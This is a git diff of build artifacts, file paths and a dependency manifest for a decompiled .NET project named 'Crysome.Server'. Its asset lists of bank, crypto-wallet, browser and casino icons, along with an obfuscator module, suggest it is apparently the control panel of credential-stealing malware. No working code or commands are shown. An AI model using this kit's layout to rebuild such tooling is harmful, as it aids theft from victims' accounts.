+C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\UY@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\UY@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\UZ.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\UZ@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\UZ@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\VA.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\VA@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\VA@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\VC.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\VC@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\VC@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\VE.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\VE@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\VE@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\VG.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\VG@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\VG@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\VI.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\VI@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\VI@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\VN.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\VN@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\VN@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\VU.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\VU@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\VU@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\WF.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\WF@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\WF@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\WS.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\WS@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\WS@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\WW.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\XK.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\XK@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\XK@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\YE.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\YE@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\YE@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\YT.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\YT@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\YT@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\ZA.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\ZA@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\ZA@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\ZM.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\ZM@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\ZM@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\ZW.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\ZW@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\flags\ZW@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\icons\linux.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\icons\proxy.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\icons\windows10.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\icons\windows11.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\icons\windows7.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\icons\windows81.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\icons\windowsxp.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\apps\atomic.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\apps\binance.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\apps\brave.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\apps\chrome.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\apps\discord.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\apps\edge.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\apps\electrum.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\apps\exodus.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\apps\firefox.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\apps\metamask.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\apps\notepad_plus_plus.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\apps\opera.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\apps\python.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\apps\slack.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\apps\steam.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\apps\telegram.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\apps\vlc.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\apps\vscode.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\apps\whatsapp.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\apps\zoom.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\banks\bankofamerica.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\banks\binance.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\banks\capitalone.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\banks\cashapp.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\banks\chase.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\banks\citibank.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\banks\coinbase_bank.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\banks\kraken.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\banks\paypal.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\banks\robinhood.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\banks\usbank.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\banks\venmo.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\banks\wellsfargo.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\casinos\1xbet.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\casinos\22bet.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\casinos\888casino.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\casinos\bet365.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\casinos\bet9ja.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\casinos\betano.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\casinos\betfair.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\casinos\betmgm.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\casinos\betonline.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\casinos\betsson.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\casinos\betway.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\casinos\bovada.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\casinos\caesars.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\casinos\casumo.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\casinos\draftkings.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\casinos\fanduel.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\casinos\ignitioncasino.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\casinos\jackpot_city.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\casinos\leovegas.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\casinos\lucky_nugget.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\casinos\partycasino.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\casinos\pokerstars.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\casinos\ruby_fortune.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\casinos\spin_casino.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\casinos\unibet.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\inventory\casinos\william_hill.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\Crysome.Server.exe +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\Crysome.Server.deps.json +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\Crysome.Server.runtimeconfig.json +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\Crysome.Server.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\Crysome.Server.pdb +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server\obj\Release\win-x64\Crysome.Server.csproj.AssemblyReference.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server\obj\Release\win-x64\Crysome.Server.Crysome.Server.Resources.Strings.resources +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server\obj\Release\win-x64\Crysome.Server.csproj.GenerateResource.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server\obj\Release\win-x64\Crysome.Server.GeneratedMSBuildEditorConfig.editorconfig +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server\obj\Release\win-x64\Crysome.Server.csproj.CoreCompileInputs.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server\obj\Release\win-x64\Crysome..7D0EE3F5.Up2Date +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server\obj\Release\win-x64\Crysome.Server.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server\obj\Release\win-x64\refint\Crysome.Server.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server\obj\Release\win-x64\Crysome.Server.pdb +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server\obj\Release\win-x64\Crysome.Server.genruntimeconfig.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server\obj\Release\win-x64\ref\Crysome.Server.dll diff --git a/Crysome.Server/obj/Release/win-x64/Crysome.Server.csproj.GenerateResource.cache b/Crysome.Server/obj/Release/win-x64/Crysome.Server.csproj.GenerateResource.cache new file mode 100644 index 0000000..6291c76 Binary files /dev/null and b/Crysome.Server/obj/Release/win-x64/Crysome.Server.csproj.GenerateResource.cache differ diff --git a/Crysome.Server/obj/Release/win-x64/Crysome.Server.deps.json b/Crysome.Server/obj/Release/win-x64/Crysome.Server.deps.json new file mode 100644 index 0000000..32b6967 --- /dev/null +++ b/Crysome.Server/obj/Release/win-x64/Crysome.Server.deps.json @@ -0,0 +1,260 @@ +{ + "runtimeTarget": { + "name": ".NETCoreApp,Version=v9.0/win-x64", + "signature": "" + }, + "compilationOptions": {}, + "targets": { + ".NETCoreApp,Version=v9.0": {}, + ".NETCoreApp,Version=v9.0/win-x64": { + "Crysome.Server/1.0.0": { + "dependencies": { + "Crysome.Common": "1.0.0", + "Crysome.Obfuscator": "1.0.0", + "Crysome.Server.Core": "1.0.0", + "NAudio": "2.2.1", + "Vestris.ResourceLib": "2.2.0", + "dnlib": "4.5.0", + "Wpf.Ui.Abstractions": "4.2.0.0", + "Wpf.Ui": "4.2.0.0" + }, + "runtime": { + "Crysome.Server.dll": {} + } + }, + "dnlib/4.5.0": { + "runtime": { + "lib/net6.0/dnlib.dll": { + "assemblyVersion": "4.5.0.0", + "fileVersion": "4.5.0.0" + } + } + }, + "NAudio/2.2.1": { + "dependencies": { + "NAudio.Asio": "2.2.1", + "NAudio.Core": "2.2.1", + "NAudio.Midi": "2.2.1", + "NAudio.Wasapi": "2.2.1", + "NAudio.WinForms": "2.2.1", + "NAudio.WinMM": "2.2.1" + }, + "runtime": { + "lib/net6.0-windows7.0/NAudio.dll": { + "assemblyVersion": "2.2.1.0", + "fileVersion": "2.2.1.0" + } + } + }, + "NAudio.Asio/2.2.1": { + "dependencies": { + "NAudio.Core": "2.2.1" + }, + "runtime": { + "lib/netstandard2.0/NAudio.Asio.dll": { + "assemblyVersion": "2.2.1.0", + "fileVersion": "2.2.1.0" + } + } + }, + "NAudio.Core/2.2.1": { + "runtime": { + "lib/netstandard2.0/NAudio.Core.dll": { + "assemblyVersion": "2.2.1.0", + "fileVersion": "2.2.1.0" + } + } + }, + "NAudio.Midi/2.2.1": { + "dependencies": { + "NAudio.Core": "2.2.1" + }, + "runtime": { + "lib/netstandard2.0/NAudio.Midi.dll": { + "assemblyVersion": "2.2.1.0", + "fileVersion": "2.2.1.0" + } + } + }, + "NAudio.Wasapi/2.2.1": { + "dependencies": { + "NAudio.Core": "2.2.1" + }, + "runtime": { + "lib/netstandard2.0/NAudio.Wasapi.dll": { + "assemblyVersion": "2.2.1.0", + "fileVersion": "2.2.1.0" + } + } + }, + "NAudio.WinForms/2.2.1": { + "dependencies": { + "NAudio.WinMM": "2.2.1" + }, + "runtime": { + "lib/netcoreapp3.1/NAudio.WinForms.dll": { + "assemblyVersion": "2.2.1.0", + "fileVersion": "2.2.1.0" + } + } + }, + "NAudio.WinMM/2.2.1": { + "dependencies": { + "NAudio.Core": "2.2.1" + }, + "runtime": { + "lib/netstandard2.0/NAudio.WinMM.dll": { + "assemblyVersion": "2.2.1.0", + "fileVersion": "2.2.1.0" + } + } + }, + "Vestris.ResourceLib/2.2.0": { + "runtime": { + "lib/netstandard2.0/Vestris.ResourceLib.dll": { + "assemblyVersion": "2.2.0.0", + "fileVersion": "2.2.0.0" + } + } + }, + "Crysome.Common/1.0.0": { + "runtime": { + "Crysome.Common.dll": { + "assemblyVersion": "0.0.0.0", + "fileVersion": "0.0.0.0" + } + } + }, + "Crysome.Obfuscator/1.0.0": { + "dependencies": { + "dnlib": "4.5.0" + }, + "runtime": { + "Crysome.Obfuscator.dll": { + "assemblyVersion": "0.0.0.0", + "fileVersion": "0.0.0.0" + } + } + }, + "Crysome.Server.Core/1.0.0": { + "runtime": { + "Crysome.Server.Core.dll": { + "assemblyVersion": "0.0.0.0", + "fileVersion": "0.0.0.0" + } + } + }, + "Wpf.Ui.Abstractions/4.2.0.0": { + "runtime": { + "Wpf.Ui.Abstractions.dll": { + "assemblyVersion": "4.2.0.0", + "fileVersion": "4.2.0.0" + } + } + }, + "Wpf.Ui/4.2.0.0": { + "runtime": { + "Wpf.Ui.dll": { + "assemblyVersion": "4.2.0.0", + "fileVersion": "4.2.0.0" + } + } + } + } + }, + "libraries": { + "Crysome.Server/1.0.0": { + "type": "project", + "serviceable": false, + "sha512": "" + }, + "dnlib/4.5.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-YkwstIbjyiJ12uGIAN8oSmImgVFkPHit7MJXPHvJqeKV1DMNqxZWszjHfykgiSs4Y/XmjnZts7pI2/AYme5/uA==", + "path": "dnlib/4.5.0", + "hashPath": "dnlib.4.5.0.nupkg.sha512" + }, + "NAudio/2.2.1": { + "type": "package", + "serviceable": true, + "sha512": "sha512-c0DzwiyyklM0TP39Y7RObwO3QkWecgM6H60ikiEnsV/aEAJPbj5MFCLaD8BSfKuZe0HGuh9GRGWWlJmSxDc9MA==", + "path": "naudio/2.2.1", + "hashPath": "naudio.2.2.1.nupkg.sha512" + }, + "NAudio.Asio/2.2.1": { + "type": "package", + "serviceable": true, + "sha512": "sha512-hQglyOT5iT3XuGpBP8ZG0+aoqwRfidHjTNehpoWwX0g6KJEgtH2VaqM2nuJ2mheKZa/IBqB4YQTZVvrIapzfOA==", + "path": "naudio.asio/2.2.1", + "hashPath": "naudio.asio.2.2.1.nupkg.sha512" + }, + "NAudio.Core/2.2.1": { + "type": "package", + "serviceable": true, + "sha512": "sha512-GgkdP6K/7FqXFo7uHvoqGZTJvW4z8g2IffhOO4JHaLzKCdDOUEzVKtveoZkCuUX8eV2HAINqi7VFqlFndrnz/g==", + "path": "naudio.core/2.2.1", + "hashPath": "naudio.core.2.2.1.nupkg.sha512" + }, + "NAudio.Midi/2.2.1": { + "type": "package", + "serviceable": true, + "sha512": "sha512-6r23ylGo5aeP02WFXsPquz0T0hFJWyh+7t++tz19tc3Kr38NHm+Z9j+FiAv+xkH8tZqXJqus9Q8p6u7bidIgbw==", + "path": "naudio.midi/2.2.1", + "hashPath": "naudio.midi.2.2.1.nupkg.sha512" + }, + "NAudio.Wasapi/2.2.1": { + "type": "package", + "serviceable": true, + "sha512": "sha512-lFfXoqacZZe0WqNChJgGYI+XV/n/61LzPHT3C1CJp4khoxeo2sziyX5wzNYWeCMNbsWxFvT3b3iXeY1UYjBhZw==", + "path": "naudio.wasapi/2.2.1", + "hashPath": "naudio.wasapi.2.2.1.nupkg.sha512" + }, + "NAudio.WinForms/2.2.1": { + "type": "package", + "serviceable": true, + "sha512": "sha512-DlDkewY1myY0A+3NrYRJD+MZhZV0yy1mNF6dckB27IQ9XCs/My5Ip8BZcoSHOsaPSe2GAjvoaDnk6N9w8xTv7w==", + "path": "naudio.winforms/2.2.1", + "hashPath": "naudio.winforms.2.2.1.nupkg.sha512" + }, + "NAudio.WinMM/2.2.1": { + "type": "package", + "serviceable": true, + "sha512": "sha512-xFHRFwH4x6aq3IxRbewvO33ugJRvZFEOfO62i7uQJRUNW2cnu6BeBTHUS0JD5KBucZbHZaYqxQG8dwZ47ezQuQ==", + "path": "naudio.winmm/2.2.1", + "hashPath": "naudio.winmm.2.2.1.nupkg.sha512" + }, + "Vestris.ResourceLib/2.2.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-RkrGgvcukXrdI9qyA23M7VW/SytjHL8p7rbyEQdCU/LGug2Z5Dtec9c/J0pvT+SzMot+u6jo1nkjMvI0cEhhjA==", + "path": "vestris.resourcelib/2.2.0", + "hashPath": "vestris.resourcelib.2.2.0.nupkg.sha512" + }, + "Crysome.Common/1.0.0": { + "type": "project", + "serviceable": false, + "sha512": "" + }, + "Crysome.Obfuscator/1.0.0": { + "type": "project", + "serviceable": false, + "sha512": "" + }, + "Crysome.Server.Core/1.0.0": { + "type": "project", + "serviceable": false, + "sha512": "" + }, + "Wpf.Ui.Abstractions/4.2.0.0": { + "type": "reference", + "serviceable": false, + "sha512": "" + }, + "Wpf.Ui/4.2.0.0": { + "type": "reference", + "serviceable": false, + "sha512": "" + } + } +} \ No newline at end of file diff --git a/Crysome.Server/obj/Release/win-x64/Crysome.Server.dll b/Crysome.Server/obj/Release/win-x64/Crysome.Server.dll new file mode 100644 index 0000000..a83b538 Binary files /dev/null and b/Crysome.Server/obj/Release/win-x64/Crysome.Server.dll differ diff --git a/Crysome.Server/obj/Release/win-x64/Crysome.Server.genbundle.cache b/Crysome.Server/obj/Release/win-x64/Crysome.Server.genbundle.cache new file mode 100644 index 0000000..e860eb6 --- /dev/null +++ b/Crysome.Server/obj/Release/win-x64/Crysome.Server.genbundle.cache @@ -0,0 +1 @@ +0f3895ab1a05229f002e6e9eb6b1c2d17d09f4795388915e265d160bb4de8df4 diff --git a/Crysome.Server/obj/Release/win-x64/Crysome.Server.genpublishdeps.cache b/Crysome.Server/obj/Release/win-x64/Crysome.Server.genpublishdeps.cache new file mode 100644 index 0000000..df4b8f8 --- /dev/null +++ b/Crysome.Server/obj/Release/win-x64/Crysome.Server.genpublishdeps.cache @@ -0,0 +1 @@ +295ee60b4aecee7fbdc1b84fbae4a10bf1b740cdc3a966ff10feecdcb33af005 diff --git a/Crysome.Server/obj/Release/win-x64/Crysome.Server.genruntimeconfig.cache b/Crysome.Server/obj/Release/win-x64/Crysome.Server.genruntimeconfig.cache new file mode 100644 index 0000000..bad8cff --- /dev/null +++ b/Crysome.Server/obj/Release/win-x64/Crysome.Server.genruntimeconfig.cache @@ -0,0 +1 @@ +1f13c2478460c27d7be1cf5bc1657ca30ed3dd9003f29db3495fad7f502bdfe7 diff --git a/Crysome.Server/obj/Release/win-x64/Crysome.Server.pdb b/Crysome.Server/obj/Release/win-x64/Crysome.Server.pdb new file mode 100644 index 0000000..524782f Binary files /dev/null and b/Crysome.Server/obj/Release/win-x64/Crysome.Server.pdb differ diff --git a/Crysome.Server/obj/Release/win-x64/PublishOutputs.236865ea12.txt b/Crysome.Server/obj/Release/win-x64/PublishOutputs.236865ea12.txt new file mode 100644 index 0000000..f23b3d8 --- /dev/null +++ b/Crysome.Server/obj/Release/win-x64/PublishOutputs.236865ea12.txt @@ -0,0 +1,2 @@ +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Server.pdb 